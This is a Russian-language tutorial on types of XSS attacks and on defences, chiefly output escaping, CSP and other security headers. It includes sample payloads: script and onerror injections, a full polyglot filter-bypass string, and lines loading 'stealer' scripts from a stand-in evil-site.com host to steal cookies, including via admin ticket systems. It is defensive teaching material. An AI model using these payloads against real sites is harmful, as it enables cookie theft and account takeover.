Типы XSS-атак и способы защиты от них

Типы XSS-атак и способы защиты от них

Подробный разбор отражённых, хранимых и DOM-уязвимостей.

image

Безопасность веб-приложений — это одна из важнейших задач, стоящих перед любыми разработчиками и владельцами сайтов. С ростом числа интерактивных веб-сервисов, социально-ориентированных платформ и других форм онлайн-взаимодействия возрастает и количество потенциальных уязвимостей. Одна из самых распространенных и при этом опасных проблем — это XSS-атаки (Cross-Site Scripting). Данная статья поможет вам разобраться в сущности XSS-атак, в их наиболее распространенных типах и в принципах эффективной защиты. Текст будет полезен и людям, которые впервые сталкиваются с данной темой, и профессионалам, желающим освежить свои знания или систематизировать их.

Что такое XSS и почему эта уязвимость так опасна

XSS (Cross-Site Scripting) — это уязвимость в веб-приложениях, которая позволяет злоумышленникам внедрять и исполнять произвольный скрипт (чаще всего JavaScript) в контексте сайта или веб-приложения, просматриваемого законопослушным пользователем. Суть проблемы в том, что такой вредоносный код обычно выполняется в браузере жертвы, получая доступ к элементам страницы, куки или токенам аутентификации. В результате злоумышленник может:

  • Похитить конфиденциальную информацию (например, куки, сессии или личные данные).
  • Провести фишинговые атаки, выдавая поддельные формы или ссылки за реальные.
  • Заставить пользователя совершить незапланированные действия (например, сделать перевод средств в приложении банка).
  • В некоторых случаях — распространять вредоносные программы, скрытые в коде.

Важно понимать, что XSS — это не единичный сценарий атаки, а целый класс уязвимостей, который проявляется в различных формах и с разным набором угроз. Часто люди, впервые столкнувшиеся с этим термином, предполагают, что XSS связан только с подделкой форм или всплывающими окнами. Но на практике спектр применений куда шире.

Краткий обзор основных типов XSS

Прежде чем перейти к конкретным видам XSS, необходимо отметить, что классификация здесь может меняться и уточняться в зависимости от источников. Однако чаще всего выделяют три ключевых типа:

  1. Reflected XSS (отражённая).
  2. Stored XSS (хранимая).
  3. DOM-based XSS (основанная на манипуляциях с DOM деревом).

Ниже мы рассмотрим каждый вид подробно и опишем, чем они отличаются, как их обнаруживать и что делать, чтобы защититься.

Reflected XSS (отражённая)

Reflected XSS — это тип атаки, при котором вредоносный скрипт «отражается» от веб-приложения, то есть злоумышленник формирует специальную ссылку или запрос, включающий в себя фрагмент кода, а сервер неосознанно «возвращает» этот код обратно в ответе. Когда пользователь переходит по такой ссылке (или открывает другую форму взаимодействия, например, e-mail со встроенным URL), браузер пользователя получает веб-страницу, внутри которой уже «сидит» опасный скрипт.

Представим классическую ситуацию: на сайте есть форма поиска, куда пользователь вводит строку, а сервер возвращает страницу с результатами поиска, в том числе цитируя введённую пользователем строку. Если этот сайт не фильтрует и не экранирует специальные символы, злоумышленник может отправить ссылку вида:

http://example.com/search?q=<script>alert('XSS')</script>

И если сервер просто подставляет q в ответ, не очищая и не экранируя её, то в браузере сработает alert, который легко заменяется на любой произвольный код. Таким образом, Reflected XSS часто реализуется через вредоносные URL, которые пользователь открывает по неосторожности.

Способы обнаружения Reflected XSS

Для обнаружения отражённой XSS есть несколько методов:

  • Проверка пользовательских вводов. Нужно внимательно смотреть, какие параметры передаются через URL или POST/GET запросы.
  • Анализ кода веб-приложения на предмет мест, где контент выводится «как есть» без экранирования или фильтрации.
  • Использование специальных сканеров безопасности (например, OWASP ZAP, Acunetix) для автоматического поиска уязвимостей.

Способы защиты от Reflected XSS

Защита от отражённой XSS включает в себя:

  • Экранирование/энкодинг данных: прежде чем вывести что-либо в браузер, нужно преобразовать специальные символы (<, >, &, ', " и так далее) в HTML-сущности.
  • Валидация данных на стороне сервера: проверять, соответствует ли ввод пользователя ожидаемому формату (например, для имени пользователя или поискового запроса).
  • Использование современных фреймворков, где шаблоны по умолчанию экранируют опасные символы. Например, в React, Angular или Vue.js по умолчанию есть механизмы защиты от XSS.
  • Подписание URL или использование nonce-значений. Если в приложении есть критичные действия, рекомендуется использовать токены (например, CSRF-токены), которые усложняют внедрение вредоносной ссылки.

Stored XSS (хранимая)

Stored XSS (хранимая) — более опасная разновидность уязвимости. При данном подходе вредоносный скрипт «сохраняется» непосредственно на сервере или в базе данных веб-приложения и может распространяться среди множества пользователей. Чаще всего это происходит в тех местах, где пользователи могут оставлять текст или другую информацию, которая затем отображается для других посетителей сайта. Например, в комментариях, на форумах или в личных сообщениях.

Представим, что есть платформа для блогов, где любой зарегистрированный пользователь может оставлять комментарии под статьями. Если это поле не фильтруется, злоумышленник может добавить вредоносный JavaScript-код прямо в текст комментария. Данный код сохранится в базе и будет выполняться во всех браузерах пользователей, которые прочитают этот комментарий.

Пример Stored XSS

Допустим, мы имеем сайт example-blog.com. Злоумышленник создаёт комментарий вида:

<script>alert("Этот скрипт запускается у всех читателей статьи!")</script>

Если механизм управления комментариями не выполняет экранирование тега <script>, то код будет сохранён в базе данных в исходном виде. И каждый, кто зайдёт на страницу с комментариями, «подхватит» этот скрипт. А уже вместо alert может быть запущен любой вредоносный код, например, кража куки-файлов или перенаправление на фишинговый ресурс.

Методы защиты от Stored XSS

Для борьбы с хранением вредоносного кода в базе или на сервере существуют несколько важных методов:

  • Фильтрация вводимых данных: проверка на «опасные» теги, атрибуты, встраиваемые скрипты. Многие фреймворки (Django, Ruby on Rails) и сторонние библиотеки (DOMPurify) предлагают готовые решения.
  • Экранирование при выводе: если нужно отобразить HTML-код, убедитесь, что он безопасен. Если HTML-вывод не требуется, заменяйте опасные символы на их HTML-сущности.
  • Использование контентной безопасности (CSP): установите заголовки Content Security Policy, чтобы ограничить или запретить выполнение скриптов, которые не были явно разрешены.
  • Ограничение прав пользователя: даже если злоумышленник и смог ввести скрипт, иногда он может столкнуться с тем, что выполнение скрипта блокируется политикой безопасности или урезанными правами на уровне платформы.

DOM-based XSS

Третий основной тип атаки — DOM-based XSS. Он менее очевиден, так как в данном случае проблема может даже не требовать общения с сервером. Уязвимость возникает, когда внутри клиентского JavaScript-кода происходят манипуляции с document object model (DOM) напрямую, без должного экранирования и фильтрации.

Проще говоря, если в скрипте на стороне клиента используется значение из document.location, document.cookie или document.referrer для генерации части HTML, и это значение вставляется прямо «как есть» во внутренний код страницы, то злоумышленник может сформировать специально сконструированный URL, где определённые параметры будут содержать вредоносный скрипт. Браузер же, выполнив этот JavaScript-код, запустит и вредоносную вставку.

Пример DOM-based XSS

Представим, что в коде сайта есть следующий фрагмент:

<script>
  var content = window.location.hash.substring(1); // берем всё, что после #
  document.getElementById("display").innerHTML = "Вы ввели: " + content;
</script>

Если пользователь переходит по ссылке вида:

http://example.com/page.html#<script>alert('DOM-XSS')</script>

То при загрузке страницы текст из window.location.hash попадает без экранирования в innerHTML. В результате на странице сработает alert('DOM-XSS').

Способы защиты от DOM-based XSS

Основная защита заключается в правильном обращении с динамическим контентом в клиентском JavaScript:

  • Не вставлять необработанные данные напрямую в DOM через innerHTML. Используйте безопасные методы, например textContent (или экранируйте ввод, если действительно нужна HTML-структура).
  • Минимизировать использование потенциально опасных конструкций, таких как eval(), document.write() или innerHTML для отображения пользовательского ввода.
  • Проверять и фильтровать данные из location.hash, location.search или document.cookie перед их использованием в коде.
  • Использовать фреймворки и библиотеки, где обработка DOM уже предусмотрена по умолчанию (React, Angular, Vue.js). Но даже в этих фреймворках бывают «дыры», если использовать опасные способы работы с данными.

Дополнительные и гибридные типы XSS-атак

Помимо трех основных видов XSS (Reflected, Stored и DOM-based), существуют и другие подвиды и гибридные типы. Они представляют не меньшую опасность и требуют отдельного внимания:

1. Self-XSS

Self-XSS — это особый тип атаки, при котором пользователь сам невольно становится соучастником:

  • Жертва сама вставляет вредоносный код в браузерную консоль, например, после убеждения в том, что это даст ей какие-то бонусы или "разблокирует секретные функции".
  • Особенно часто используется на игровых сайтах или социальных сетях с обещаниями "взломать аккаунт" или "получить бесплатные преимущества".
  • Технически это не настоящая XSS в классическом понимании (поскольку нет внедрения кода через уязвимость), но результат тот же — исполнение вредоносного кода в контексте пользовательского браузера.

Пример Self-XSS: Злоумышленник убеждает жертву открыть консоль браузера (F12) и вставить код:

var script = document.createElement('script');
script.src = 'https://evil-site.com/stealer.js';
document.body.appendChild(script);

Этот код может украсть куки пользователя и отправить их на сервер злоумышленника.

2. Mutated XSS (mXSS)

Mutated XSS (mXSS) — это сложный тип атаки, при котором:

  • Вредоносный код мутирует (изменяется) при обработке браузером или системой шаблонов.
  • Изначально безопасный или отфильтрованный HTML-код может превратиться в опасный после DOM-мутации.
  • Особенно часто возникает при использовании WYSIWYG-редакторов, когда HTML-код обрабатывается несколько раз.

Пример mXSS: HTML-код выглядит безопасным после первичной фильтрации:

<img src="1" onerror="alert(1)" style="display:none">

Но после повторной обработки, например, при редактировании в WYSIWYG-редакторе, код может мутировать и выполниться.

3. Blind XSS

Blind XSS — это особый вид хранимой XSS, когда:

  • Вредоносный код внедряется в места, где атакующий не может сразу увидеть результат (например, в админ-панели, CRM-системы, тикеты поддержки).
  • Скрипт срабатывает только когда уязвимую страницу просматривает администратор или другой привилегированный пользователь.
  • Дает возможность атаковать внутренние системы, недоступные извне.

Пример Blind XSS: Атакующий внедряет в форму обратной связи следующий код:

<script src="https://xss-logger.evil-site.com/steal.js"></script>

Когда администратор открывает систему тикетов для просмотра обращения, скрипт выполняется в его контексте с повышенными привилегиями.

4. Polyglot XSS

Polyglot XSS — это специальный тип атаки, где:

  • Один и тот же полезный нагрузочный код работает одновременно в нескольких контекстах (HTML, JavaScript, CSS, атрибуты).
  • Используется для обхода сложных фильтров и систем защиты.
  • Особенно эффективен при тестировании веб-приложений с разными уровнями защиты.

Пример Polyglot XSS:

javascript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e

Этот пример содержит различные методы внедрения кода, работающие в зависимости от контекста встраивания.

5. Contextual XSS

Contextual XSS — тип атаки, близкий к DOM-based XSS:

  • Успешность атаки зависит от контекста, в котором оказался вредоносный код (внутри тега, атрибута, JavaScript и т.д.).
  • Требует глубокого понимания того, как данные обрабатываются в разных частях веб-страницы.
  • Часто используется, когда стандартные методы защиты блокируют обычные XSS.

Пример Contextual XSS: Если пользовательский ввод попадает в атрибут тега (например, в значение href), атакующий может использовать:

javascript:alert('XSS')

Если же ввод попадает внутрь JavaScript-кода, могут использоваться другие техники, например:

');alert('XSS');//

Защита от гибридных и нестандартных XSS-атак

Для защиты от этих специфических типов атак следует:

  • Использовать дополнительную валидацию в зависимости от контекста данных.
  • Внедрять CSP с детальными настройками, запрещающими выполнение потенциально опасного кода.
  • Обучать пользователей не вставлять код в консоль и не доверять сомнительным инструкциям.
  • Применять контекстно-зависимое экранирование — разное для HTML, JavaScript, атрибутов и CSS.
  • Регулярно тестировать приложения на устойчивость к различным типам XSS, включая гибридные.

Важность правильной обработки пользовательского ввода

Многие начинающие разработчики предполагают, что экранирование на одном участке кода (например, на сервере) уже решает все проблемы, или что проверка «вообще-то мы не используем <script>» достаточно. Но реальность сложнее:

  • Во-первых, даже если запрещены теги <script>, злоумышленник может внедрить скрипт через onerror или onload в картинки, через iframe или SVG, через специальные комбинации HTML-атрибутов (srcdoc), или использовать event handlers.
  • Во-вторых, XSS может происходить не только в HTML, но и в JavaScript-коде или даже в CSS (хотя и реже).
  • В-третьих, любая ошибка фильтрации и экранирования может дать преступнику лазейку. Один непроверенный параметр и весь сайт под угрозой.

Поэтому лучшая практика — это комплексный подход: фильтрация/валидация на этапе ввода, экранирование на этапе вывода и дополнительные политики безопасности на сервере и в заголовках ответа.

Заголовки безопасности: защита от XSS и других уязвимостей

Современные браузеры поддерживают различные заголовки HTTP, которые могут существенно повысить безопасность веб-приложений. Эти заголовки работают как дополнительный уровень защиты, блокируя многие типы атак даже при наличии уязвимостей в коде. Правильно настроенные заголовки безопасности — это простой, но эффективный способ защиты от XSS и других видов атак.

Другие полезные заголовки и практики:

1. Content Security Policy (CSP)

Content Security Policy (CSP) — это мощный механизм защиты, который позволяет определить белый список источников для загрузки скриптов, стилей, изображений и других ресурсов. С помощью CSP вы можете:

  • Запретить выполнение встроенных (inline) скриптов
  • Разрешить загрузку ресурсов только с определенных доменов
  • Блокировать выполнение потенциально опасных скриптов
  • Ограничить использование eval() и других опасных функций
  • Настроить отчеты о нарушениях политики безопасности

Пример CSP-заголовка:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' https://img-server.com; style-src 'self' 'unsafe-inline'; report-uri /csp-report

Этот заголовок разрешает загрузку скриптов только с текущего домена и trusted-cdn.com, изображений с текущего домена и img-server.com, а стили могут быть как с текущего домена, так и встроенные. Все нарушения будут отправляться на эндпоинт /csp-report.

2. X-XSS-Protection

Заголовок X-XSS-Protection активирует встроенный в браузере механизм фильтрации XSS-атак. Хотя в современных браузерах он считается устаревшим и заменяется CSP, он всё ещё полезен для поддержки старых браузеров.

Пример X-XSS-Protection:
X-XSS-Protection: 1; mode=block

Значение "1; mode=block" включает защиту и блокирует рендеринг страницы при обнаружении XSS-атаки, а не просто пытается очистить страницу.

3. X-Frame-Options

Заголовок X-Frame-Options защищает от атак типа "clickjacking", указывая браузеру, разрешено ли отображать страницу внутри <frame>, <iframe> или <object>.

Возможные значения:
  • X-Frame-Options: DENY — страница не может быть отображена во фрейме
  • X-Frame-Options: SAMEORIGIN — страница может быть отображена во фрейме только на том же домене
  • X-Frame-Options: ALLOW-FROM https://example.com — страница может быть отображена во фрейме только на указанном домене

4. Strict-Transport-Security (HSTS)

HTTP Strict Transport Security (HSTS) указывает браузеру, что сайт должен быть доступен только через HTTPS, даже если пользователь пытается использовать HTTP. Это защищает от атак "man-in-the-middle" и прослушивания трафика.

Пример HSTS:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Этот заголовок указывает, что политика HSTS действует в течение года (31536000 секунд), распространяется на все поддомены и может быть включена в предзагруженный список HSTS браузеров.

5. Referrer-Policy

Referrer-Policy контролирует, какая информация о реферере (источнике перехода) включается в заголовок Referer при переходе с вашего сайта на другие ресурсы.

Некоторые значения:
  • Referrer-Policy: no-referrer — заголовок Referer не отправляется
  • Referrer-Policy: same-origin — полный URL отправляется только для запросов в рамках того же источника
  • Referrer-Policy: strict-origin — отправляет только домен для HTTPS→HTTPS и ничего для HTTPS→HTTP

6. X-Content-Type-Options

X-Content-Type-Options предотвращает MIME-снифинг браузером, когда браузер пытается "угадать" тип контента вместо использования объявленного Content-Type.

Пример:
X-Content-Type-Options: nosniff

Это предотвращает выполнение JavaScript в ресурсах, объявленных как не-JavaScript (например, изображения или CSS), что может использоваться в XSS-атаках.

7. Feature-Policy / Permissions-Policy

Feature-Policy (переименованный в Permissions-Policy в новых версиях) позволяет явно разрешать или запрещать использование браузерных API и функций в вашем приложении и во встроенных фреймах.

Пример:
Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()

В этом примере доступ к камере и микрофону полностью запрещен, геолокация разрешена только для текущего источника, а API платежей запрещен.

Практическое применение заголовков безопасности

Для обеспечения максимальной защиты рекомендуется использовать комбинацию этих заголовков. Вот общие рекомендации по их внедрению:

  1. Начните с строгой политики CSP и постепенно ослабляйте её, если это необходимо для функционирования приложения.
  2. Используйте режим отчетов CSP (Content-Security-Policy-Report-Only) перед полным внедрением, чтобы выявить и исправить проблемы.
  3. Внедрите HTTPS для всего вашего сайта и используйте HSTS для предотвращения использования HTTP.
  4. Регулярно проверяйте настройки заголовков с помощью таких инструментов, как securityheaders.com или observatory.mozilla.org.
  5. Обновляйте политики безопасности по мере развития вашего приложения и появления новых уязвимостей.

Важно: Неправильно настроенные заголовки безопасности могут нарушить функциональность сайта. Тестируйте изменения в среде разработки перед применением их на производстве.

Заключение

Заголовки безопасности представляют собой мощный и относительно простой в реализации инструмент защиты веб-приложений. Они работают как дополнительный уровень защиты, блокируя многие виды атак даже при наличии уязвимостей в коде. Однако заголовки безопасности — это только часть комплексного подхода к безопасности.

Для максимальной защиты от XSS и других веб-уязвимостей необходимо сочетать правильно настроенные заголовки с валидацией ввода пользователя, экранированием выводимых данных, регулярным аудитом кода и использованием современных фреймворков, в которых механизмы защиты встроены по умолчанию.

Помните, что мир веб-безопасности постоянно эволюционирует. Регулярно обновляйте свои знания, следите за новыми типами атак и методами защиты, и не забывайте про тестирование безопасности вашего приложения с использованием как автоматизированных инструментов, так и ручного анализа кода.

Реальные атаки. Эффективные решения. Практический опыт.

Standoff Defend* — это онлайн-полигон, где ты сможешь испытать себя. Попробуй себя в расследовании инцидентов и поборись за победу в конкурсе

*Защищать. Реклама. АО «Позитив Текнолоджиз», ИНН 7718668887